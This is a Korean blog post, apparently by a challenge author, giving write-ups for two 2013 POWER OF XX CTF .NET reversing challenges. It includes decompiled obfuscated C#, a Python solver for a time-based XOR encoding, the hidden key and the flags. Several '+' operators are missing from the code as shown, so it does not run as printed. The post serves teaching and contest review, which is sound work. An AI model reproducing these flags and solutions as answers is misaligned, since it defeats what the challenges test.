num에는 month의 값이 저장되고, 프로그램 초기화시 생성된 인코딩 테이블에서 값을 하나씩 가져오고 사용자가 입력한 문자열 한글자씩 xor연산을 합니다.


private void button1_Click(object sender, EventArgs e) // 인코딩 버튼 클릭시 루틴
{
if (this.textBox2.Text.Length > this.d8jergu394r0nnsjd94jfs.Length - this.zsawsrf6g0i98t6vllp) // 글자수 검사 [에러 방지]
{
MessageBox.Show("Length Error", "ERROR_bb");
return;
}
this.gettime(); // 시간정보 얻어옴
string text = this.h8r9gu4inheiprhgnncvjousdfgiuweg(this.textBox2.Text); // 암호화 시작
this.textBox1.Text = text;
this.lfkfidngigiwhiu3yr89igorg(text); // 암호화된 값들을 저장
}
public string h8r9gu4inheiprhgnncvjousdfgiuweg(string str) // 암호화 시작
{
StringBuilder stringBuilder = new StringBuilder();
string text = this.ldfogndkfvisgi490rjgdijgw434ref(Form1.ncfjgirerg430t34trdgdfs(str)); // 첫번째 암호화 시작 [윗 부분에 있음]
string[] array = text.Split(new char[] // 첫번쨰 암호화로 나온 결과물을 가공시킴
{
' '
});
for (int i = 0; i < array.Length - 1; i )
{
stringBuilder.Append(this.kfig9jepoingndkfvndjroger(array[i], i) " "); // 두번째 암호화 시작
}
return stringBuilder.ToString(); // 암호화된 결과를 리턴함.
}

public int kfig9jepoingndkfvndjroger(string chr, int range) // 두번째 암호화 시작
{
int num = int.Parse(chr);
int num2 = range % 3;
int num3 = 2;
if (num2 == 0)
{
num = this.qexyg8j9u8thuhg * num3 this.cljbyt798ygdre5 * num3 - this.zfgvjnkji8y6ug9u9i * 2;

}
else
{
if (num2 == 1)
{
num = this.zsawsrf6g0i98t6vllp * 3 this.cljbyt798ygdre5 * 2 - this.zfgvjnkji8y6ug9u9i * num2;
}
else
{
if (num2 == 2)
{
num = this.njgcgcxdxxx6r - this.zsawsrf6g0i98t6vllp * (num2 * 5) - this.cljbyt798ygdre5 * num2 - this.zfgvjnkji8y6ug9u9i * (num3 4) - num2 * num3;
}
}
}
return num;

}


분석은 대략 이런 순서로 진행되게 되는데, 총 2번 암호화가 진행됩니다.


첫번째 암호화는 바로 위에서 썻으니 이번엔 두번째 암호화를 분석할 차례입니다.


num2는 현재 암호화되는 글자인덱스의 경우마다 다른 암호화를 진행합니다.

0의 경우는 변수를 간단하게 만들면 num = ((day * i) (minute * i) - (hour * 2)) 와 같습니다.


이런식으로 분석을 하게 됩니다.


그러면 이제 복호화를 해야 하는데


Plain -> enc1 -> enc2 -> Crypted Message 로 암호화가 진행된다는것을 알게되었으니 다시


Crypted Message -> enc2_decrypt -> enc1_decrypt -> Plain 순서로 복호화 할 것입니다.


일단은 위에서 언급한대로 프로그램은 시간을 사용하기때문에 시간마다 암호화결과가 바뀌게 됩니다.


그러므로 문제에 주어진 시간을 활용하도록 합니다.


minute = 44

month = 10

day = 26

dayofyear = 299

hour = 23


그리고 두번째 암호화 함수를 복호화 시킬수 있는 함수를 제작합니다. [이 풀이에선 python script로 제작합니다]


def solve1(str, range):

test = int(str)


j = range % 3

i = 2


if(j==0):

test -= ((day * i) (minute * i) - (hour * 2))

elif(j==1):

test -= ((month * 3) (minute * 2 ) - (hour * j))

elif(j == 2):

test -= ((dayofyear - (month * (j * 5)) - (minute * j) - (hour * (i 4)) - (j* i)))

return test


그리고 첫번째 암호화 함수를 복호화 시킬 수 있는 함수를 제작합니다.


def solve2(input):

encoding_table = "9pMaVs5DxiOPGe8JETXYmg3lbudro6Qk1WLKwyhfnS4Iv0ABtjUCc7RZz2NFHq"

encoding_table = "KfeROdEILJs5W6D1m4XFtH7YbwgrUConPuqQBcSxT092zljv8yMAGhpZN3akVi"

encoding_table = "8vxekVPpYlsXDAujWoJEingTGf3mCh59LROt6cdUNMb41zH7Kr0yS2BIFZqawQ"

encoding_table = "Hv8VzYa5b1FMGNODW4kwX9L3hK6SqsTtyxoE0Z7fPJIgrCAQiljBuenRcp2dUm"

encoding_table = "fgnCw4HPJRdXKIq31YNDZMS82OjA7eUxpozasVmykiQrTFLW6htGb9B0lEcvu5"

encoding_table = "jxLaZdWYngAfKGNhzTcXQU7Jy9sFbp0eRI1ECrv23PSw846oH5MBVtlDiOqumk"

encoding_table = "U0tnl9bVK4iB2LzZXy7PaCHcAI5pOsSfjgqkr1vuRTFEo8Dxmhw3QGdeJM6WYN"

encoding_table = "gWYN9w4LuPjxJl1MhOkniQy8CBUXr6THaKDctEdb0Imp32VfFZGvAS5ezqsR7o"

encoding_table = "wj3J9fL8QY2kArXKgOEzmSdqHpcMsn1ahGWxCe7yPIlTuDRb6F40oZtiUBvV5="

d = 0

array = input.split(' ')

result = ""

for i in array:

if i == "":

break;

test = int(i)

result = str(test ^ ord(encoding_table[d 10]))

result = " "

d = 1

#str1 = (test ^ )

return result


그리고 나머지 필요한 구문을 삽입한뒤, 스크립트를 완성시킵니다.



# /usr/bin/python

# power of xx _ solver

# 2013 POC - Power Of XX - Binary Easy2.net Solver

# by sweetchip.


minute = 44

month = 10

day = 26

dayofyear = 299

hour = 23


def solve1(str, range):

test = int(str)


j = range % 3

i = 2


if(j==0):

test -= ((day * i) (minute * i) - (hour * 2))

elif(j==1):

test -= ((month * 3) (minute * 2 ) - (hour * j))

elif(j == 2):

test -= ((dayofyear - (month * (j * 5)) - (minute * j) - (hour * (i 4)) - (j* i)))

return test


def solve2(input):

encoding_table = "9pMaVs5DxiOPGe8JETXYmg3lbudro6Qk1WLKwyhfnS4Iv0ABtjUCc7RZz2NFHq"

encoding_table = "KfeROdEILJs5W6D1m4XFtH7YbwgrUConPuqQBcSxT092zljv8yMAGhpZN3akVi"

encoding_table = "8vxekVPpYlsXDAujWoJEingTGf3mCh59LROt6cdUNMb41zH7Kr0yS2BIFZqawQ"

encoding_table = "Hv8VzYa5b1FMGNODW4kwX9L3hK6SqsTtyxoE0Z7fPJIgrCAQiljBuenRcp2dUm"

encoding_table = "fgnCw4HPJRdXKIq31YNDZMS82OjA7eUxpozasVmykiQrTFLW6htGb9B0lEcvu5"

encoding_table = "jxLaZdWYngAfKGNhzTcXQU7Jy9sFbp0eRI1ECrv23PSw846oH5MBVtlDiOqumk"

encoding_table = "U0tnl9bVK4iB2LzZXy7PaCHcAI5pOsSfjgqkr1vuRTFEo8Dxmhw3QGdeJM6WYN"

encoding_table = "gWYN9w4LuPjxJl1MhOkniQy8CBUXr6THaKDctEdb0Imp32VfFZGvAS5ezqsR7o"

encoding_table = "wj3J9fL8QY2kArXKgOEzmSdqHpcMsn1ahGWxCe7yPIlTuDRb6F40oZtiUBvV5="

d = 0

array = input.split(' ')

result = ""

for i in array:

if i == "":

break;

test = int(i)

result = str(test ^ ord(encoding_table[d 10]))

result = " "

d = 1

#str1 = (test ^ )

return result


chicken = "144 207 93 170 111 25 130 144 21 152 172 -3 113 164 -24 94 117 -25 173 106 77 169 119 15 135 127 9 111 123 -12 109 218 61 155 98 50 199 131 -2 168 205 75 169 164 24 139 116 95 127 113 71 102 141 -18 152 153 28 111 131 74 207 201 -21 174 155 74 138 164 -7 179 215 94 187 142 55 147 99 64 176 117 25 193 177 47 135 111 -5 108 137 -8 132 120 "

# Chicken

chicken = "210 209 22 126 188 29 212 101 24 125 145 -22 180 134 -30 162 107 18 142 210 8 185 95 -23 221 123 54 183 180 39 103 145 57 141 181 56 141 138 -25 124 133 "

# Egg

chickenarr = chicken.split(' ')


solve1_result = ""

for i in range(0, len(chickenarr)-1):

solve1_result = str(solve1(chickenarr[i], i)) " "


print solve1_result


solve2_result = solve2(solve1_result)

l_result = ""

result = solve2_result.split(" ")

for i in result:

if i == '':

break

print int(i)

l_result = chr(int(i))


print l_result[::-1]


원본 python 스크립트 : http://pastebin.com/TWHRpbKP

C# 코드 버전 : http://pastebin.com/PDNjLn7f




Flag : md5(W3_10vE_Ch1cKen_FoR3veEr)



이번 POX가 생애 처음으로 해킹대회에 문제를 출제해보는 기회가 되었습니다.


그래서 문제에 조금 서툰 부분도 있엇고, 키젠미 문제엿으므로 조금더 일찍 공개했엇어야 햇는데 늦게 공개한것이 아쉬웠습니다


특히 거의 풀뻔한 팀이 나왓지만 끝에 아쉽게도 시간이 모자라서 못푼 팀도 있었습니다.


그리고 고심끝에 결정해서 이 문제의 힌트를 받기로 하신것 같은데 힌트도 제대로 주지 못해서 죄송했던 팀도 있엇고;;


아무튼 여러모로 배울점이 많았던 대회 운영이었습니다.


POX에 참가하신 팀들과 운영진분들 그리고 POC 운영진 분들 모두 고생많으셨습니다!


2013년 10월 5일, 온라인으로 POC의 이벤트중 하나인 여성해킹방어대회 POWER OF XX가 진행되엇습니다.


그중 저는 간단한 리버싱 문제를 출제했었는데 일반 닷넷 크랙미 수준으로 출제 되었습니다.


닷넷 프로그램의 특징은 자바와 비슷하게 거의 완벽한 코드 복구가 가능하다는 것입니다.


일반 c / c 로 컴파일된 프로그램의 경우 IDA의 HexRay도 거의 완벽하게 복구해주지만, 일반적인 경우엔 어셈블리 코드를 보면서 직접 이해해야 합니다.


하지만 닷넷 문제의 경우 .net reflector 나 ilspy 라는 프로그램을 이용하여 거의 완벽하게 복구가 가능합니다. [이유는 검색~!]


이점을 이용하게 하기 위해 문제에 간단하게 Ilspy를 다운받을 수 있는 링크를 힌트로 줬고


너무 쉽게 풀리는것을 방지하기 위해 [이문제에선 거의 쓸모가 없엇죠..] 손수 난독화를 진행했습니다 [일반 툴은 잘 안먹히더군요]


하지만 이것도 소스 코드를 조금만 살펴본다면 금방 풀수 있습니다.



문제의 목적은 암호화 되어있는 문자열이 숨겨진 프로그램 안에서 키가 만들어지는 루틴을 찾아서 분석후, 키를 얻어 문자열을 복호화 시키는 문제입니다.


POX 본선 진출자 분들은 대부분 이 문제를 해결하셨던것 같습니다.



CDC8501BE6FEC4B2D1FCC7B80DD129FA



using System;

using System.ComponentModel;

using System.Drawing;

using System.IO;

using System.Security.Cryptography;

using System.Text;

using System.Windows.Forms;

namespace POWEROFXX_easy_reversing

{

public class Form1 : Form

{

private int[] jkd9j349njw984nt0wner9g34j = new int[]

{

7,

6,

5,

8,

9,

4,

2,

3,

1,

0

};

public string odf03mfg03mn4__dsfij9834rosdf043 = "MXgLk4UD5zEOjTuYy5/7MaQzMNquAcJu6yEiLzi30Rb0lSlhr7orlyY4OtTWW7 TdAIPqsY oL/";

public int nnumbobeeerofowoooeneneee = 1;

private IContainer components;

private Button button1;

private Panel panel1;

private Label label2;

private TextBox textBox2;

private Panel panel2;

private Button button2;

private Button button3;

private Button button4;

private Button button5;

private Label label1;

public Form1()

{

this.InitializeComponent();

this.label1.BackColor = Color.Transparent;

this.jkd9j349njw984nt0wner9g34j[this.jkd9j349njw984nt0wner9g34j.Length - this.jkd9j349njw984nt0wner9g34j.Length] = 1;

this.odf03mfg03mn4__dsfij9834rosdf043 = "iVO7R3sopmA Z/CmoNdKAHIjwEJK wclV8ONGO83f0SlBfWwEYbaoVXru5zhBgy83HSPpNjb0IJOUhsUPmSC66ByUd";

this.odf03mfg03mn4__dsfij9834rosdf043 = "CJZMwRLg72IsofYYEV/I223lK2xqh11HFRzOqaZPp";

this.odf03mfg03mn4__dsfij9834rosdf043 = "C/FyWDhkRAXEccfn5v513iz Qs7WI=";

}

private void Form1_Load(object sender, EventArgs e)

{

this.panel2.BackColor = Color.Transparent;

this.jkd9j349njw984nt0wner9g34j[this.jkd9j349njw984nt0wner9g34j.Length - 2] = 7;

}

private void panel_doubleclick(object sender, MouseEventArgs e)

{

MessageBox.Show("aHR0cDovL2lsc3B5Lm5ldC8=", "__BASE64__");

}

private void button1_Click_1(object sender, EventArgs e)

{

string.Concat(new object[]

{

this.dfj4rfioksdfiop4ewjf9dsr34r()[0],

this.nnumbobeeerofowoooeneneee,

this.dfj4rfioksdfiop4ewjf9dsr34r()[4],

this.dfj4rfioksdfiop4ewjf9dsr34r()[this.dfj4rfioksdfiop4ewjf9dsr34r().Length - 1]

});

this.label1.Text = this.tpyrcde821SEA(this.odf03mfg03mn4__dsfij9834rosdf043, this.textBox2.Text);

}

public string[] dfj4rfioksdfiop4ewjf9dsr34r()

{

return new string[]

{

"3",

"E",

"I",

"G",

"A",

"4",

"B",

"E",

"P",

"0",

"6",

"G",

"a",

"7",

"o",

"5"

};

}

public string tpyrcde821SEA(string Input, string key)

{

string result;

try

{

RijndaelManaged rijndaelManaged = new RijndaelManaged();

byte[] array = Convert.FromBase64String(Input);

byte[] bytes = Encoding.ASCII.GetBytes(key.Length.ToString());

PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, bytes);

ICryptoTransform transform = rijndaelManaged.CreateDecryptor(passwordDeriveBytes.GetBytes(32), passwordDeriveBytes.GetBytes(16));

MemoryStream memoryStream = new MemoryStream(array);

CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);

byte[] array2 = new byte[array.Length];

int count = cryptoStream.Read(array2, 0, array2.Length);

memoryStream.Close();

cryptoStream.Close();

string @string = Encoding.Unicode.GetString(array2, 0, count);

result = @string;

}

catch

{

result = "Invalid k3y..";

}

return result;

}

public string tpyrcen821SEA(string Input, string key)

{

RijndaelManaged rijndaelManaged = new RijndaelManaged();

byte[] bytes = Encoding.Unicode.GetBytes(Input);

byte[] bytes2 = Encoding.ASCII.GetBytes(key.Length.ToString());

PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, bytes2);

ICryptoTransform transform = rijndaelManaged.CreateEncryptor(passwordDeriveBytes.GetBytes(32), passwordDeriveBytes.GetBytes(16));

MemoryStream memoryStream = new MemoryStream();

CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write);

cryptoStream.Write(bytes, 0, bytes.Length);

cryptoStream.FlushFinalBlock();

byte[] inArray = memoryStream.ToArray();

memoryStream.Close();

cryptoStream.Close();

return Convert.ToBase64String(inArray);

}

private void button2_Click(object sender, EventArgs e)

{

}

public string jf9j39fjd9rjngsweetfub95f()

{

this.dfj4rfioksdfiop4ewjf9dsr34r();

int num = this.jkd9j349njw984nt0wner9g34j[2];

string arg = "-" this.dfj4rfioksdfiop4ewjf9dsr34r()[14];

string result = arg num;

for (int i = 0; i < this.jkd9j349njw984nt0wner9g34j.Length; i )

{

this.label2.ForeColor = Color.FromArgb(15, 15, 15);

num >>= this.jkd9j349njw984nt0wner9g34j[i];

num = this.jkd9j349njw984nt0wner9g34j[i];

num <<= this.jkd9j349njw984nt0wner9g34j[i];

}

return result;

}

private void button3_Click(object sender, EventArgs e)

{

byte b = 49;

string[] array = this.dfj4rfioksdfiop4ewjf9dsr34r();

int arg_1E_0 = 2;

string arg_1E_1 = array[14];

char c = (char)b;

string str = arg_1E_0 arg_1E_1 c.ToString();

str = this.dfj4rfioksdfiop4ewjf9dsr34r()[1];

byte b2 = 95;

char c2 = (char)b2;

string text = c2.ToString() "!" this.jkd9j349njw984nt0wner9g34j[this.jkd9j349njw984nt0wner9g34j.Length - 1];

text = this.jf9j39fjd9rjngsweetfub95f();

this.label2.Text = str text;

int arg_8C_0 = this.jkd9j349njw984nt0wner9g34j[6];

}

private void rm(object sender, MouseEventArgs e)

{

if (this.textBox2.Text == "Input Passw0rd!")

{

this.textBox2.Text = "";

}

}

protected override void Dispose(bool disposing)

{

if (disposing && this.components != null)

{

this.components.Dispose();

}

base.Dispose(disposing);

}

private void InitializeComponent()

{

ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Form1));

this.button1 = new Button();

this.panel1 = new Panel();

this.label2 = new Label();

this.textBox2 = new TextBox();

this.panel2 = new Panel();

this.button2 = new Button();

this.button3 = new Button();

this.button4 = new Button();

this.button5 = new Button();

this.label1 = new Label();

this.panel1.SuspendLayout();

base.SuspendLayout();

this.button1.BackColor = Color.CornflowerBlue;

this.button1.FlatStyle = FlatStyle.Popup;

this.button1.Font = new Font("맑은 고딕", 9f, FontStyle.Bold, GraphicsUnit.Point, 129);

this.button1.ForeColor = Color.Black;

this.button1.Location = new Point(509, 28);

this.button1.Name = "button1";

this.button1.Size = new Size(75, 23);

this.button1.TabIndex = 10;

this.button1.Text = "SUBM1T";

this.button1.UseVisualStyleBackColor = false;

this.button1.Click = new EventHandler(this.button1_Click_1);

this.panel1.BackColor = SystemColors.ActiveCaptionText;

this.panel1.Controls.Add(this.label2);

this.panel1.Controls.Add(this.textBox2);

this.panel1.Controls.Add(this.button1);

this.panel1.Location = new Point(0, 305);

this.panel1.Name = "panel1";

this.panel1.Size = new Size(597, 63);

this.panel1.TabIndex = 11;

this.label2.AutoSize = true;

this.label2.Font = new Font("맑은 고딕", 9.75f, FontStyle.Regular, GraphicsUnit.Point, 129);

this.label2.ForeColor = Color.FromArgb(192, 192, 255);

this.label2.Location = new Point(10, 8);

this.label2.Name = "label2";

this.label2.Size = new Size(76, 17);

this.label2.TabIndex = 14;

this.label2.Text = "SERIAL K3Y";

this.textBox2.BackColor = Color.Black;

this.textBox2.BorderStyle = BorderStyle.FixedSingle;

this.textBox2.Font = new Font("맑은 고딕", 9f, FontStyle.Bold, GraphicsUnit.Point, 129);

this.textBox2.ForeColor = SystemColors.GradientActiveCaption;

this.textBox2.Location = new Point(12, 28);

this.textBox2.Name = "textBox2";

this.textBox2.Size = new Size(491, 23);

this.textBox2.TabIndex = 13;

this.textBox2.Text = "Input Passw0rd!";

this.textBox2.MouseClick = new MouseEventHandler(this.rm);

this.panel2.Location = new Point(303, 12);

this.panel2.Name = "panel2";

this.panel2.Size = new Size(281, 140);

this.panel2.TabIndex = 15;

this.panel2.MouseDoubleClick = new MouseEventHandler(this.panel_doubleclick);

this.button2.BackColor = SystemColors.WindowText;

this.button2.FlatStyle = FlatStyle.Flat;

this.button2.Location = new Point(1126, 358);

this.button2.Name = "button2";

this.button2.Size = new Size(10, 10);

this.button2.TabIndex = 16;

this.button2.Text = "Z2V0a2V5";

this.button2.UseVisualStyleBackColor = false;

this.button2.Click = new EventHandler(this.button2_Click);

this.button3.BackColor = SystemColors.WindowText;

this.button3.FlatStyle = FlatStyle.Flat;

this.button3.Location = new Point(891, 186);

this.button3.Name = "button3";

this.button3.Size = new Size(10, 10);

this.button3.TabIndex = 17;

this.button3.Text = "y3kt3g";

this.button3.UseVisualStyleBackColor = false;

this.button3.Click = new EventHandler(this.button3_Click);

this.button4.BackColor = SystemColors.WindowText;

this.button4.FlatStyle = FlatStyle.Flat;

this.button4.Location = new Point(810, 177);

this.button4.Name = "button4";

this.button4.Size = new Size(10, 10);

this.button4.TabIndex = 18;

this.button4.Text = "Z2V0a2V5";

this.button4.UseVisualStyleBackColor = false;

this.button5.BackColor = SystemColors.WindowText;

this.button5.FlatStyle = FlatStyle.Flat;

this.button5.Location = new Point(891, 288);

this.button5.Name = "button5";

this.button5.Size = new Size(10, 10);

this.button5.TabIndex = 19;

this.button5.Text = "Z2V0a2V5";

this.button5.UseVisualStyleBackColor = false;

this.label1.AutoSize = true;

this.label1.ForeColor = SystemColors.ActiveCaption;

this.label1.Location = new Point(10, 9);

this.label1.Name = "label1";

this.label1.Size = new Size(158, 12);

this.label1.TabIndex = 15;

this.label1.Text = "Click 'HACK THE PALNET'";

base.AutoScaleDimensions = new SizeF(7f, 12f);

base.AutoScaleMode = AutoScaleMode.Font;

this.BackColor = SystemColors.Control;

this.BackgroundImage = (Image)componentResourceManager.GetObject("$this.BackgroundImage");

base.ClientSize = new Size(597, 368);

base.Controls.Add(this.label1);

base.Controls.Add(this.button5);

base.Controls.Add(this.button4);

base.Controls.Add(this.button3);

base.Controls.Add(this.button2);

base.Controls.Add(this.panel2);

base.Controls.Add(this.panel1);

this.ForeColor = SystemColors.ControlText;

base.FormBorderStyle = FormBorderStyle.FixedSingle;

base.Icon = (Icon)componentResourceManager.GetObject("$this.Icon");

base.MaximizeBox = false;

base.MinimizeBox = false;

base.Name = "Form1";

this.Text = "2013 POWER OF XX - Easy Reverse Engineering";

base.Load = new EventHandler(this.Form1_Load);

this.panel1.ResumeLayout(false);

this.panel1.PerformLayout();

base.ResumeLayout(false);

base.PerformLayout();

}

}

}



위는 Ilspy로 디컴파일한 코드의 모습입니다.


이 곳에 한개의 힌트를 더 숨겨놨는데, button3 의 text를 보면 아래와 같이 되있습니다.


this.button3.Text = "y3kt3g";


그리고 button3의 이벤트 핸들러를 보면 button3_click 이란것을 알 수있는데, 핸들러를 따라가보면 키를 구하게 되는 루틴이 나와있습니다.


그 이벤트 핸들러의 부분을 object로 변수가 지정된 부분을 int와 string으로 각각 수정후 새로운 함수를 만듭니다.


public void func()

{

byte b = 49;

string[] array = this.dfj4rfioksdfiop4ewjf9dsr34r();

int arg_1E_0 = 2;

string arg_1E_1 = array[14];

char c = (char)b;

string str = arg_1E_0 arg_1E_1 c.ToString();

str = this.dfj4rfioksdfiop4ewjf9dsr34r()[1];

byte b2 = 95;

char c2 = (char)b2;

string text = c2.ToString() "!" this.jkd9j349njw984nt0wner9g34j[this.jkd9j349njw984nt0wner9g34j.Length - 1];

text = this.jf9j39fjd9rjngsweetfub95f();

this.label2.Text = str text;

int arg_8C_0 = this.jkd9j349njw984nt0wner9g34j[6];

MessageBox.Show(str text); // 2o1E_!0-o5 <-- Key

}


그리고 Form1_Load 이벤트 핸들러 맨 아래에 func(); 함수를 실행하도록 하면 키가 출력됩니다.


그리고 이 키를 입력하면 문구가 출력됩니다.





Flag : md5("chicken_and_peace")


많은 분들이 푸실수 있도록 간단하게 출제했던 문제였습니다 :D

+ Recent posts